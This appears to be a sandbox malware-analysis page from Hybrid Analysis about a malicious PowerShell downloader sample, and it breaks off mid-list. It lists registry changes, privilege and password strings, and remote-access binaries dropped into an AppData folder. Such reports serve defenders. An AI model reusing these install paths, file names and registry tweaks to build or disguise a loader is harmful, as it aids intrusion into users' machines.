21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 6d:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T4d9,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious UDS_TrojanDownloader_PowerShell_Agent Sample 48a683e97f9f… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 48a683e97f9f…. Malware family: UDS_TrojanDownloader_PowerShell_Agent. Threat score 100/100. 1/26 AV engines flagged this file. 5 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542","keywords":["Malicious","UDS_TrojanDownloader_PowerShell_Agent","malware analysis","sandbox report","threat intelligence","48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542"],"about":{"@type":"SoftwareApplication","name":"sus.ps1","applicationCategory":["powershell","ps"],"identifier":"48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"UDS_TrojanDownloader_PowerShell_Agent","antivirusDetections":{"malicious":1,"total":26},"behavioralIndicators":{"malicious":5,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T7f4,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23:T622,file/memory contains long string with (Indicator: "OpenProcess"; File: "pcicapi.dll") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00004744-00000C2C-1527453961") Found string "OpenProcessTokenW" (Indicator: "OpenProcess"; Source: "00000000-00004744-00000C2C-1528975954") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00004744-00000C2C-1528976310") Found string "OpenProcessW" (Indicator: "OpenProcess"; Source: "00000000-00004744-00000C2C-1528976337") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found string "Warning. OpenProcess failed for pid %x, e=%d" (Indicator: "OpenProcess"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found string "Warning. OpenProcessToken failed, e=%d" (Indicator: "OpenProcess"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found string "OpenProcessToken FAILED (%d)" (Indicator: "OpenProcess"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp")24:Tfec,"powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "C90B000000000000040004000102030000000000630000000D7879000200000087DE830039000000A19F5E000100010000000100000056737D000100040000001F0000001A9CB20000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "521F0000000000000400040001001F00020000000571AE000D7879000DA181001E8D520021777A00259960003E3383004AAA8100560A8500726E4A0075A37E008106950087DE8300938661009D9D9200A736A800B1CE9800B3F1A200BC6EB400C046AD00C36D8100CC495600CF74AA00D0175600D3E88D00E1C97700E7997F00EBBF8400F1FC6000F7D36F00F7ED6A0008000600000019C398001C4452007140A30091508A009CE0A8009F60C300A522A400C45F7F000100400100000571AE00010043010000C0EC7C0000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2F3\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "neservice.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2F3\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "neservice.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2F3\52C64B7E"; Key: "@C:\WINDOWS\SYSWOW64\FIREWALLCONTROLPANEL.DLL,-12122"; Value: "Windows Defender Firewall")25:T6b9,Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; File: "00000000-00006340.00000000.164028.010C1000.00000020.mdmp") Found reference to API "SeLockMemoryPrivilege" (Indicator: "SeLockMemoryPrivilege"; File: "00000000-00006340.00000000.164028.010C1000.00000020.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; File: "00000000-00006340.00000000.164028.010C1000.00000020.mdmp") Found reference to API "SeCreateSymbolicLinkPrivilege" (Indicator: "SeCreateSymbolicLinkPrivilege"; File: "00000000-00006340.00000000.164028.010C1000.00000020.mdmp") Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; Source: "00000000-00000400.00000000.163549.00A80000.00000004.mdmp") Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "SeTcbPrivilege" (Indicator: "SeTcbPrivilege"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; Source: "00000000-00006340.00000000.164028.00C00000.00000004.mdmp, 00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "SeLockMemoryPrivilege" (Indicator: "SeLockMemoryPrivilege"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "SeCreateSymbolicLinkPrivilege" (Indicator: "SeCreateSymbolicLinkPrivilege"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp")26:T7c8,Found string "Can not open encrypted archive. Wrong password?" (Indicator: "password"; File: "00000000-00006340.00000000.164028.010C1000.00000020.mdmp") Found string "Enter password (will not be echoed):" (Indicator: "password"; File: "00000000-00006340.00000000.164028.010C1000.00000020.mdmp") Found string "Wrong username or password" (Indicator: "password"; Source: "00000000-00002888.00000002.167735.111EA000.00000002.mdmp") Found string "Without supplying the correct password you can only send a message to this Client." (Indicator: "password"; Source: "00000000-00002888.00000002.167735.111EA000.00000002.mdmp") Found string "To Share, Watch, Control, Chat, Show or transfer files enter the correct password." (Indicator: "password"; Source: "00000000-00002888.00000002.167735.111EA000.00000002.mdmp") Found string "Wrong username or password!Wrong version of CLIENT installedvDoes not support the selected encryption mode, please upgrade this Client or select a lower encryption mode (i.e. DES)" (Indicator: "password"; Source: "00000000-00002888.00000002.167735.111EA000.00000002.mdmp") Found string "Headers Error in encrypted archive. Wrong password?" (Indicator: "password"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found string "Wrong password" (Indicator: "password"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found string "Data Error in encrypted file. Wrong password?" (Indicator: "password"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found string "CRC Failed in encrypted file. Wrong password?" (Indicator: "password"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found string "Can not open encrypted archive. Wrong password?" (Indicator: "password"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp") Found string "Enter password (will not be echoed):" (Indicator: "password"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp")27:T1e85,"powershell.exe" wrote 10000 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\7z.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "powershell.exe" wrote 10000 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\7z.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "7z.exe" wrote 23880 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\ns\AudioCapture.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "7z.exe" wrote 61768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\ns\HTCTL32.DLL": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "7z.exe" wrote 45420 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\ns\msvcr100.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "7z.exe" wrote 54720 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\ns\neservice.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "7z.exe" wrote 43408 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\ns\pcicapi.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "7z.exe" wrote 14664 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\ns\PCICHEK.DLL": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "7z.exe" wrote 10620 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\ns\PCICL32.DLL": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000200100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "7z.exe" wrote 59728 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\ns\remcmdstub.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "7z.exe" wrote 64712 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\ns\TCCTL32.DLL": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "7z.exe" wrote 23880 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\AudioCapture.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "7z.exe" wrote 61768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\HTCTL32.DLL": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "7z.exe" wrote 45420 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\msvcr100.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "7z.exe" wrote 54720 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\neservice.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "7z.exe" wrote 43408 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\pcicapi.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "7z.exe" wrote 14664 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\PCICHEK.DLL": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "7z.exe" wrote 10620 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\PCICL32.DLL": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000200100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "7z.exe" wrote 59728 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\remcmdstub.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "7z.exe" wrote 64712 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Nfservice\TCCTL32.DLL": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...28:T423d,"powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004744) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 